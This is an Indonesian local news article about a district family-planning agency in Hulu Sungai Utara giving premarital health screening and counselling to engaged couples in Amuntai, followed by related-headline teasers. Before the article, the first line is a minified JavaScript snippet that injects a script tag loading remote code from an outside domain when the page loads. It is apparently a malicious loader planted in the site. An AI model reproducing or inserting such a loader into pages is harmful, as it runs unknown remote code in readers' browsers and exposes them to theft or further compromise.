(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Puluhan calon pengantin (Catin) diberikan pendampingan keluarga dan pelayanan pengukuran bagi Catin oleh Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara (HSU) di gedung Aneka Guna Amuntai, Selasa (14/10/2025).
Kegiatan pelayanan pengukuran bagi Catin digelar dalam rangka meningkatkan kualitas kesehatan reproduksi dan mewujudkan keluarga yang sehat serta siap menikah.
Mereka mendapatkan wawasan berbagai layanan pemeriksaan dasar kesehatan, seperti pengukuran tinggi dan berat badan, lingkar lengan atas, tekanan darah, hingga skrining status gizi dan anemia.
Para Catin antusias mengikuti rangkaian kegiatan, mulai dari pemeriksaan kesehatan hingga sesi tanya jawab dengan petugas medis dan fasilitator keluarga.
Baca juga: Kasus Bayi Dibuang dalam Kresek di Kemuning: Polisi Ringkus R, Hasil ‘Enak-enak’ di Luar Nikah
Kepala DPPKB HSU, Lily Inderiani mengatakan, pelayanan pengukuran calon pengantin ini bertujuan untuk mendeteksi dini risiko kesehatan, terutama pada calon ibu, agar ke depan dapat melahirkan generasi yang sehat dan bebas stunting.
“Saya berharap kesadaran masyarakat tentang pentingnya pemeriksaan pra-nikah dan perencanaan keluarga semakin meningkat, sehingga angka stunting dan permasalahan kesehatan ibu-anak dapat ditekan,” ungkapnya.
Sementara Perwakilan Kementerian Kependudukan dan Pembangunan Provinsi Kalimantan Selatan, Endras Wati Kusuma Ardhani menilai kegiatan ini merupakan implementasi dari program nasional Bangga Kencana (Pembangunan Keluarga, Kependudukan, dan Keluarga Berencana).
Baca juga: 45 Peserta Ikuti Pelatihan Konselor DP3A Banjarmasin
“Kami berupaya agar setiap calon pengantin di HSU siap secara fisik, mental, dan sosial. Pemeriksaan dan edukasi pranikah ini menjadi langkah awal untuk mewujudkan keluarga sehat dan bebas stunting,” jelasnya.
Dia menegaskan pentingnya kolaborasi lintas sektor antara pemerintah pusat, daerah, dan masyarakat dalam mendukung keberhasilan program pembangunan keluarga.
“Kunci keberhasilan program seperti ini adalah kerja sama yang kuat antara semua pihak, kami berharap kegiatan seperti ini dapat terus berlanjut dan menjadi contoh bagi daerah lainnya,” pungkasnya.
Kegiatan ini diisi dengan materi tentang keluarga harmonis dalam perspektif Islam oleh narasumber Dr H Ahmad Nawawi Abdurrauf, dan materi dari Kepala DPPKB HSU Lily Inderiani tentang edukasi stunting. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.